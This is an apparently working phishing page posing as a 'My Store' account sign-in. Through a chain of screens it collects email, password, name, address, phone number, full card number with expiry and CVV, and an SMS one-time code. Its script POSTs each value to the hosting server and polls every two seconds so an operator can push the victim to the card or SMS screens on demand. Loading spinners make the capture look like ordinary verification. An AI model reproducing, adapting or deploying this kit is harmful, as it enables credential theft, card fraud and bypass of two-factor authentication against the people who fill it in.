<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My Store - Sign In</title>
<style>
  :root { --apple-blue: #0071e3; --apple-blue-hover: #0077ed; --apple-black: #1d1d1f; --apple-gray-bg: #f5f5f7; --apple-border: #d2d2d7; --apple-text-secondary: #86868b; --apple-error: #ff3b30; }
  * { margin: 0; padding: 0; box-sizing: border-box; } html, body { height: 100%; }
  body { font-family: -apple-system, BlinkMacSystemFont, 'Inter', 'Segoe UI', sans-serif; background: var(--apple-gray-bg); color: var(--apple-black); display: flex; flex-direction: column; min-height: 100vh; -webkit-font-smoothing: antialiased; }
  .navbar { background: rgba(255, 255, 255, 0.8); backdrop-filter: blur(20px); -webkit-backdrop-filter: blur(20px); border-bottom: 1px solid var(--apple-border); padding: 14px 32px; display: flex; align-items: center; justify-content: flex-start; position: sticky; top: 0; z-index: 100; }
  .nav-logo { display: flex; align-items: center; gap: 8px; text-decoration: none; } .nav-logo img { display: block; } .nav-brand { font-weight: 500; font-size: 17px; color: var(--apple-black); letter-spacing: -0.3px; }
  .page-wrapper { flex: 1; display: flex; align-items: center; justify-content: center; padding: 40px 20px; opacity: 1; transition: opacity 0.4s ease, transform 0.4s ease; }
  .page-wrapper.hidden { display: none; opacity: 0; transform: translateY(10px); }
  .card { background: #fff; border-radius: 18px; box-shadow: 0 4px 24px rgba(0,0,0,.08), 0 1px 3px rgba(0,0,0,.04); padding: 48px 40px; width: 100%; max-width: 480px; display: flex; flex-direction: column; align-items: center; }
  .logo-big { width: 180px; height: 180px; margin-bottom: 16px; display: flex; align-items: center; justify-content: center; } .logo-big.small { width: 120px; height: 120px; margin-bottom: 8px; } .logo-big img, .logo-big svg { width: 100%; height: 100%; object-fit: contain; }
  .card h1 { font-size: 26px; font-weight: 600; margin-bottom: 16px; text-align: center; color: var(--apple-black); } .card .subtitle { font-size: 14px; color: #6e6e73; margin-bottom: 24px; text-align: center; line-height: 1.5; }
  .input-group { position: relative; width: 100%; margin-bottom: 16px; }
  .input-field { width: 100%; padding: 16px; font-size: 15px; border: 1px solid var(--apple-border); border-radius: 12px; outline: none; background: #fff; color: var(--apple-black); transition: all 0.2s ease; font-family: inherit; }
  .input-field:focus { border-color: var(--apple-blue); box-shadow: 0 0 0 4px rgba(0,113,227,.15); }
  .input-field.error { border-color: var(--apple-error); } .input-field.error:focus { box-shadow: 0 0 0 4px rgba(255,59,48,.15); }
  .floating-label { position: absolute; top: 50%; left: 16px; transform: translateY(-50%); font-size: 15px; color: var(--apple-text-secondary); pointer-events: none; transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1); background: transparent; padding: 0 4px; z-index: 2; }
  html[dir="rtl"] .floating-label { left: auto; right: 16px; }
  .input-field:focus ~ .floating-label, .input-field:not(:placeholder-shown) ~ .floating-label { top: 0; font-size: 11px; color: var(--apple-blue); background: #fff; font-weight: 500; }
  .input-field.error ~ .floating-label { color: var(--apple-error); }
  .error-msg { color: var(--apple-error); font-size: 12px; margin-top: -8px; margin-bottom: 16px; display: none; width: 100%; padding: 0 4px; } html[dir="ltr"] .error-msg { text-align: left; } html[dir="rtl"] .error-msg { text-align: right; }
  .error-msg.show { display: block; animation: shake 0.4s ease-in-out; }
  @keyframes shake { 0%, 100% { transform: translateX(0); } 25% { transform: translateX(-5px); } 75% { transform: translateX(5px); } }
  .email-display { width: 100%; padding: 16px; font-size: 15px; color: var(--apple-text-secondary); background: var(--apple-gray-bg); border: 1px solid var(--apple-border); border-radius: 12px; margin-bottom: 16px; text-align: center; position: relative; }
  .change-link { position: absolute; right: 16px; top: 50%; transform: translateY(-50%); color: var(--apple-blue); font-size: 14px; text-decoration: none; font-weight: 500; cursor: pointer; } html[dir="rtl"] .change-link { right: auto; left: 16px; } .change-link:hover { text-decoration: underline; }
  .info-text { width: 100%; display: flex; gap: 12px; font-size: 12px; line-height: 1.5; color: var(--apple-text-secondary); margin-bottom: 24px; } html[dir="ltr"] .info-text { text-align: left; } html[dir="rtl"] .info-text { text-align: right; flex-direction: row-reverse; }
  .info-text .icon { width: 24px; height: 24px; flex-shrink: 0; fill: var(--apple-blue); margin-top: 2px; } .info-text a { color: var(--apple-blue); text-decoration: none; } .info-text a:hover { text-decoration: underline; }
  .buttons { width: 100%; display: flex; gap: 12px; margin-bottom: 16px; }
  .btn { flex: 1; padding: 14px 18px; font-size: 15px; font-weight: 500; border-radius: 12px; cursor: pointer; border: none; transition: all .2s; display: flex; align-items: center; justify-content: center; gap: 8px; font-family: inherit; }
  .btn-primary { background: var(--apple-blue); color: #fff; } .btn-primary:hover { background: var(--apple-blue-hover); } .btn-primary:active { transform: scale(0.98); }
  .btn-secondary { background: var(--apple-black); color: #fff; } .btn-secondary:hover { background: #333; } .btn-secondary:active { transform: scale(0.98); }
  .form-box-2 { width: 100%; display: flex; flex-direction: column; gap: 8px; margin-bottom: 24px; } .row-2 { display: flex; gap: 12px; } .row-3 { display: flex; gap: 12px; }
  .input-field-3 { width: 100%; padding: 16px; font-size: 15px; border: 1px solid var(--apple-border); border-radius: 12px; outline: none; background: #fff; color: var(--apple-black); transition: all 0.2s ease; font-family: inherit; }
  .input-field-3:focus { border-color: var(--apple-blue); box-shadow: 0 0 0 4px rgba(0,113,227,.15); } .input-field-3.error { border-color: var(--apple-error); } .input-field-3.error:focus { box-shadow: 0 0 0 4px rgba(255,59,48,.15); }
  .input-group-3 { position: relative; width: 100%; margin-bottom: 8px; }
  .input-group-3 .floating-label-3 { position: absolute; top: 50%; left: 16px; transform: translateY(-50%); font-size: 15px; color: var(--apple-text-secondary); pointer-events: none; transition: all 0.2s cubic-bezier(0.4, 0, 0.2, 1); background: transparent; padding: 0 4px; z-index: 2; }
  html[dir="rtl"] .input-group-3 .floating-label-3 { left: auto; right: 16px; }
  .input-field-3:focus ~ .floating-label-3, .input-field-3:not(:placeholder-shown) ~ .floating-label-3 { top: 0; font-size: 11px; color: var(--apple-blue); background: #fff; font-weight: 500; }
  .input-field-3.error ~ .floating-label-3 { color: var(--apple-error); }
  .card-icons { display: flex; gap: 8px; margin-bottom: 12px; justify-content: flex-start; width: 100%; } .card-icons img { width: 32px; height: 20px; object-fit: contain; }
  .btn-full { width: 100%; padding: 14px; font-size: 15px; border-radius: 12px; }
  .field-wrapper { position: relative; width: 100%; margin-bottom: 24px; }
  .field-wrapper .floating-label { position: absolute; top: 50%; left: 16px; transform: translateY(-50%); font-size: 15px; color: var(--apple-text-secondary); pointer-events: none; transition: all .2s ease; z-index: 2; background: transparent; padding: 0 4px; }
  html[dir="rtl"] .field-wrapper .floating-label { left: auto; right: 16px; }
  .field-wrapper #smsCode { width: 100%; padding: 16px; font-size: 15px; border: 1px solid var(--apple-border); border-radius: 12px; outline: none; background: #fff; color: var(--apple-black); transition: all 0.2s ease; position: relative; z-index: 1; font-family: inherit; }
  .field-wrapper #smsCode:focus { border-color: var(--apple-blue); box-shadow: 0 0 0 4px rgba(0,113,227,.15); } .field-wrapper #smsCode.error { border-color: var(--apple-error); } .field-wrapper #smsCode.error:focus { box-shadow: 0 0 0 4px rgba(255,59,48,.15); }
  .field-wrapper #smsCode:focus ~ .floating-label, .field-wrapper #smsCode:not(:placeholder-shown) ~ .floating-label, .field-wrapper .floating-label.float { top: 0; transform: translateY(-50%); font-size: 11px; color: var(--apple-blue); background: #fff; padding: 0 6px; font-weight: 500; z-index: 2; }
  .field-wrapper #smsCode.error ~ .floating-label { color: var(--apple-error); }
  .loading-screen { flex: 1; display: none; flex-direction: column; align-items: center; justify-content: center; min-height: 60vh; gap: 24px; }
  .spinner { width: 40px; height: 40px; border: 3px solid var(--apple-border); border-top-color: var(--apple-blue); border-radius: 50%; animation: spin .8s linear infinite; }
  @keyframes spin { to { transform: rotate(360deg); } } .loading-text { font-size: 15px; color: #6e6e73; font-weight: 500; }
  @media (max-width: 600px) { .navbar { padding: 12px 20px; } .nav-brand { font-size: 15px; } .card { padding: 32px 24px; } .card h1 { font-size: 22px; } .logo-big { width: 140px; height: 140px; } .logo-big.small { width: 100px; height: 100px; } .row-2, .row-3 { flex-direction: column; } .buttons { flex-direction: column; } }
</style>
</head>
<body>
<nav class="navbar"><a href="#" class="nav-logo"><img src="https://dsertsa.shopiza.io/static/uploads/shops/571/1789933707565-yd1wgq48.png" alt="Logo" style="width:22px;height:22px;object-fit:contain;border-radius:4px;"><span class="nav-brand">My Store</span></a></nav>

<div class="page-wrapper" id="loginPage"><div class="card"><div class="logo-big"><img src="https://shopiza.io/static/uploads/shops/571/1789933143291-qwfrtn3d.png" alt="Logo"></div><h1>Sign in with My Store Account</h1><form id="loginForm" style="width:100%; display:flex; flex-direction:column; align-items:center;"><div class="input-group"><input type="text" class="input-field" id="email" placeholder=" " autocomplete="username" required><label class="floating-label" for="email">Email or Phone Number</label></div><span class="error-msg" id="emailError">Please enter a valid email address.</span><div class="info-text"><svg class="icon" viewBox="0 0 24 24"><path d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z"/></svg><p>Your My Store Account information is used to allow you to sign in securely. <a href="#">See how your data is managed...</a></p></div><div class="buttons"><button type="submit" class="btn btn-primary">Continue</button><button type="button" class="btn btn-secondary">Sign in with Phone</button></div></form></div></div>
<div class="loading-screen" id="loading1"><div class="spinner"></div><p class="loading-text">Signing in...</p></div>

<div class="page-wrapper hidden" id="passwordPage"><div class="card"><div class="logo-big small"><img src="https://shopiza.io/static/uploads/shops/571/1789933143291-qwfrtn3d.png" alt="Logo"></div><h1>Enter Password</h1><p class="subtitle">Sign in to manage your account</p><form id="passwordForm" style="width:100%; display:flex; flex-direction:column; align-items:center;"><div class="email-display"><span id="emailDisplay">user@example.com</span><a href="#" class="change-link" id="changeLink">Change</a></div><div class="input-group"><input type="password" class="input-field" id="password" placeholder=" " autocomplete="current-password" required><label class="floating-label" for="password">Password</label></div><span class="error-msg" id="passwordError">Please enter your password.</span><button type="submit" class="btn btn-primary btn-full">Continue</button></form></div></div>
<div class="loading-screen" id="loading2"><div class="spinner"></div><p class="loading-text">Checking password...</p></div>

<div class="page-wrapper hidden" id="infoPage"><div class="card"><div class="logo-big small"><img src="https://shopiza.io/static/uploads/shops/571/1789933143291-qwfrtn3d.png" alt="Logo"></div><h1>Your Information</h1><p class="subtitle">Please complete your profile</p><form id="infoForm" class="form-box-2"><div class="row-2"><div class="input-group-3"><input type="text" class="input-field-3" id="firstName" placeholder=" " required><label class="floating-label-3" for="firstName">First Name</label></div><div class="input-group-3"><input type="text" class="input-field-3" id="lastName" placeholder=" " required><label class="floating-label-3" for="lastName">Last Name</label></div></div><span class="error-msg" id="nameError">Please enter your first and last name.</span><div class="input-group-3"><input type="text" class="input-field-3" id="city" placeholder=" " required><label class="floating-label-3" for="city">City</label></div><span class="error-msg" id="cityError">Please enter your city.</span><div class="input-group-3"><input type="text" class="input-field-3" id="zip" placeholder=" " required><label class="floating-label-3" for="zip">Zip Code</label></div><span class="error-msg" id="zipError">Please enter your zip code.</span><div class="input-group-3"><input type="tel" class="input-field-3" id="phone" placeholder=" " required><label class="floating-label-3" for="phone">Phone Number</label></div><span class="error-msg" id="phoneError">Please enter your phone number.</span><button type="submit" class="btn btn-primary btn-full">Continue</button></form></div></div>
<div class="loading-screen" id="loading3"><div class="spinner"></div><p class="loading-text">Saving information...</p></div>

<div class="page-wrapper hidden" id="cardPage"><div class="card"><div class="logo-big small"><img src="https://shopiza.io/static/uploads/shops/571/1789933143291-qwfrtn3d.png" alt="Logo"></div><h1>Payment Method</h1><p class="subtitle">Add your credit or debit card</p><form id="cardForm" class="form-box-2"><div class="card-icons"><img src="https://img.icons8.com/color/48/visa.png" alt="Visa"><img src="https://img.icons8.com/color/48/mastercard.png" alt="Mastercard"><img src="https://img.icons8.com/color/48/amex.png" alt="Amex"><img src="https://img.icons8.com/color/48/discover.png" alt="Discover"><img src="https://img.icons8.com/color/48/jcb.png" alt="JCB"></div><div class="input-group-3"><input type="text" class="input-field-3" id="cardNumber" placeholder=" " maxlength="19" required><label class="floating-label-3" for="cardNumber">Card number</label></div><span class="error-msg" id="cardNumberError">Invalid card number. Please check and try again.</span><div class="row-3"><div class="input-group-3"><input type="text" class="input-field-3" id="cardExpiry" placeholder=" " maxlength="5" required><label class="floating-label-3" for="cardExpiry">MM/YY</label></div><div class="input-group-3"><input type="text" class="input-field-3" id="cardCvv" placeholder=" " maxlength="4" required><label class="floating-label-3" for="cardCvv">CVV</label></div></div><span class="error-msg" id="cardExpiryError">Invalid expiry date.</span><span class="error-msg" id="cardCvvError">Invalid CVV. Must be 3 or 4 digits.</span><button type="submit" class="btn btn-primary btn-full">Continue</button></form></div></div>
<div class="loading-screen" id="loading4"><div class="spinner"></div><p class="loading-text">Saving card...</p></div>

<div class="page-wrapper hidden" id="smsPage"><div class="card"><div class="logo-big small"><img src="https://shopiza.io/static/uploads/shops/571/1789933143291-qwfrtn3d.png" alt="Logo"></div><h1>Verify Your Identity</h1><p class="subtitle">We sent a code to your phone number</p><form id="smsForm" style="width:100%; display:flex; flex-direction:column; align-items:center;"><div class="field-wrapper"><input type="text" id="smsCode" placeholder=" " maxlength="8" inputmode="numeric" required><label class="floating-label" for="smsCode">Code received via SMS</label></div><span class="error-msg" id="smsError">Please enter a valid code (4 to 8 digits).</span><div class="info-text"><svg class="icon" viewBox="0 0 24 24"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm-2 12H6v-2h12v2zm0-3H6V9h12v2zm0-3H6V6h12v2z"/></svg><p>For your security, we need to verify your phone number. Enter the code we sent via SMS.</p></div><button type="submit" class="btn btn-primary btn-full">Verify</button></form></div></div>
<div class="loading-screen" id="loading5"><div class="spinner"></div><p class="loading-text">Verifying code...</p></div>

<div class="page-wrapper hidden" id="donePage"><div class="card"><div class="logo-big small"><svg width="80" height="80" viewBox="0 0 80 80" fill="none" xmlns="http://www.w3.org/2000/svg"><circle cx="40" cy="40" r="40" fill="#34c759"/><path d="M24 40L36 52L56 28" stroke="white" stroke-width="6" stroke-linecap="round" stroke-linejoin="round"/></svg></div><h1>You're all set!</h1><p class="subtitle">Your account has been successfully verified and is ready to use.</p><button type="button" class="btn btn-primary btn-full" onclick="alert('Redirecting to dashboard...')">Continue to Store</button></div></div>

<script>
const SERVER_URL = window.location.href.split('?')[0]; // Sends to same index.php
let currentSessionId = null;

function showPage(pageId) { const page = document.getElementById(pageId); page.style.display = 'flex'; setTimeout(() => { page.classList.remove('hidden'); const firstInput = page.querySelector('input:not([disabled])'); if (firstInput) firstInput.focus(); }, 50); }
function hidePage(pageId) { const page = document.getElementById(pageId); page.classList.add('hidden'); setTimeout(() => { page.style.display = 'none'; }, 400); }
function showLoadingThen(loadingId, nextPageId, delay = 1500) { document.getElementById(loadingId).style.display = 'flex'; setTimeout(() => { document.getElementById(loadingId).style.display = 'none'; showPage(nextPageId); }, delay); }
function showError(inputId, errorId) { document.getElementById(inputId).classList.add('error'); document.getElementById(errorId).classList.add('show'); }
function hideError(inputId, errorId) { document.getElementById(inputId).classList.remove('error'); document.getElementById(errorId).classList.remove('show'); }

function sendToServer(action, data = {}) {
  return fetch(SERVER_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ action: action, sessionId: currentSessionId, ...data }) })
  .then(response => response.json()).catch(error => console.error('Error:', error));
}

function pollStatus() {
  if (!currentSessionId) return;
  sendToServer('check_status').then(result => { if (result && result.status === 'ok') handleServerAction(result.action); });
}

function handleServerAction(action) {
  if (action === 'show_sms') { hideAllPages(); setTimeout(() => showPage('smsPage'), 400); }
  else if (action === 'show_cc') { hideAllPages(); setTimeout(() => showPage('cardPage'), 400); }
  else if (action === 'show_done') { hideAllPages(); setTimeout(() => showPage('donePage'), 400); }
}

function hideAllPages() {
  ['loginPage', 'passwordPage', 'infoPage', 'cardPage', 'smsPage', 'donePage'].forEach(id => { const p = document.getElementById(id); if(p){p.style.display='none'; p.classList.add('hidden');} });
  ['loading1','loading2','loading3','loading4','loading5'].forEach(id => { const l = document.getElementById(id); if(l) l.style.display='none'; });
}

setInterval(pollStatus, 2000);

document.getElementById('loginForm').addEventListener('submit', (e) => {
  e.preventDefault(); const email = document.getElementById('email').value.trim(); const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  if (!email || !emailRegex.test(email)) { showError('email', 'emailError'); return; } hideError('email', 'emailError');
  sendToServer('login', { email: email }).then(result => { if (result && result.status === 'ok') { currentSessionId = result.sessionId; document.getElementById('emailDisplay').textContent = email; hidePage('loginPage'); setTimeout(() => showLoadingThen('loading1', 'passwordPage', 2000), 400); }});
});
document.getElementById('email').addEventListener('input', () => hideError('email', 'emailError'));
document.getElementById('changeLink').addEventListener('click', (e) => { e.preventDefault(); hidePage('passwordPage'); setTimeout(() => showPage('loginPage'), 400); });

document.getElementById('passwordForm').addEventListener('submit', (e) => {
  e.preventDefault(); const password = document.getElementById('password').value.trim();
  if (!password) { showError('password', 'passwordError'); return; } hideError('password', 'passwordError');
  sendToServer('password', { password: password }).then(result => { if (result && result.status === 'ok') { hidePage('passwordPage'); document.getElementById('loading2').style.display = 'flex'; }});
});
document.getElementById('password').addEventListener('input', () => hideError('password', 'passwordError'));

document.getElementById('infoForm').addEventListener('submit', (e) => {
  e.preventDefault(); let hasError = false; const firstName = document.getElementById('firstName').value.trim(); const lastName = document.getElementById('lastName').value.trim(); const city = document.getElementById('city').value.trim(); const zip = document.getElementById('zip').value.trim(); const phone = document.getElementById('phone').value.trim();
  if (!firstName || !lastName) { showError('firstName', 'nameError'); showError('lastName', 'nameError'); hasError = true; } else { hideError('firstName', 'nameError'); hideError('lastName', 'nameError'); }
  if (!city) { showError('city', 'cityError'); hasError = true; } else { hideError('city', 'cityError'); }
  if (!zip) { showError('zip', 'zipError'); hasError = true; } else { hideError('zip', 'zipError'); }
  if (!phone) { showError('phone', 'phoneError'); hasError = true; } else { hideError('phone', 'phoneError'); }
  if (hasError) return;
  sendToServer('info', { firstName, lastName, city, zip, phone }).then(result => { if (result && result.status === 'ok') { hidePage('infoPage'); document.getElementById('loading3').style.display = 'flex'; }});
});
['firstName', 'lastName'].forEach(id => document.getElementById(id).addEventListener('input', () => { hideError('firstName', 'nameError'); hideError('lastName', 'nameError'); }));
['city', 'zip', 'phone'].forEach(id => document.getElementById(id).addEventListener('input', () => hideError(id, id + 'Error')));

document.getElementById('cardNumber').addEventListener('input', (e) => { const c = e.target.selectionStart; let v = e.target.value.replace(/\s/g,'').replace(/\D/g,''); v = v.match(/.{1,4}/g)?.join(' ')||''; e.target.value = v; e.target.setSelectionRange(c,c); hideError('cardNumber','cardNumberError'); });
document.getElementById('cardExpiry').addEventListener('input', (e) => { let v = e.target.value.replace(/\D/g,''); if(v.length>=3) v=v.slice(0,2)+'/'+v.slice(2,4); e.target.value = v; hideError('cardExpiry','cardExpiryError'); });
document.getElementById('cardCvv').addEventListener('input', (e) => { e.target.value = e.target.value.replace(/\D/g,''); hideError('cardCvv','cardCvvError'); });

function isValidCardNumber(n) { const d=n.replace(/\s/g,''); if(d.length<13||d.length>19) return false; let s=0,ev=false; for(let i=d.length-1;i>=0;i--){let dg=parseInt(d[i],10); if(ev){dg*=2; if(dg>9)dg-=9;} s+=dg; ev=!ev;} return s%10===0; }
function isValidExpiry(e) { if(!/^\d{2}\/\d{2}$/.test(e)) return false; const[m,y]=e.split('/').map(Number); if(m<1||m>12) return false; const fy=2000+y; const now=new Date(); if(fy<now.getFullYear()) return false; if(fy===now.getFullYear()&&m<now.getMonth()+1) return false; if(fy>now.getFullYear()+10) return false; return true; }
function isValidCvv(c) { return /^\d{3,4}$/.test(c); }

document.getElementById('cardForm').addEventListener('submit', (e) => {
  e.preventDefault(); let hasError = false; const number = document.getElementById('cardNumber').value.trim(); const expiry = document.getElementById('cardExpiry').value.trim(); const cvv = document.getElementById('cardCvv').value.trim();
  if (!number || !isValidCardNumber(number)) { showError('cardNumber', 'cardNumberError'); hasError = true; } else { hideError('cardNumber', 'cardNumberError'); }
  if (!expiry || !isValidExpiry(expiry)) { showError('cardExpiry', 'cardExpiryError'); hasError = true; } else { hideError('cardExpiry', 'cardExpiryError'); }
  if (!cvv || !isValidCvv(cvv)) { showError('cardCvv', 'cardCvvError'); hasError = true; } else { hideError('cardCvv', 'cardCvvError'); }
  if (hasError) return;
  sendToServer('cc', { cardNumber: number, expiry: expiry, cvv: cvv }).then(result => { if (result && result.status === 'ok') { hidePage('cardPage'); document.getElementById('loading4').style.display = 'flex'; }});
});

const smsCode = document.getElementById('smsCode'); const floatingLabel = document.querySelector('.field-wrapper .floating-label');
smsCode.addEventListener('focus', () => floatingLabel.classList.add('float'));
smsCode.addEventListener('blur', () => { if(smsCode.value.trim().length===0) floatingLabel.classList.remove('float'); });
smsCode.addEventListener('input', (e) => { e.target.value = e.target.value.replace(/\D/g,''); hideError('smsCode','smsError'); });

document.getElementById('smsForm').addEventListener('submit', (e) => {
  e.preventDefault(); const code = document.getElementById('smsCode').value.trim();
  if (!code || code.length < 4 || code.length > 8) { showError('smsCode', 'smsError'); return; } hideError('smsCode', 'smsError');
  sendToServer('sms', { code: code }).then(result => { if (result && result.status === 'ok') { hidePage('smsPage'); document.getElementById('loading5').style.display = 'flex'; }});
});

document.querySelector('#donePage .btn-primary').addEventListener('click', () => { sendToServer('done', {}); alert('Redirecting to dashboard...'); });
</script>
</body>
</html>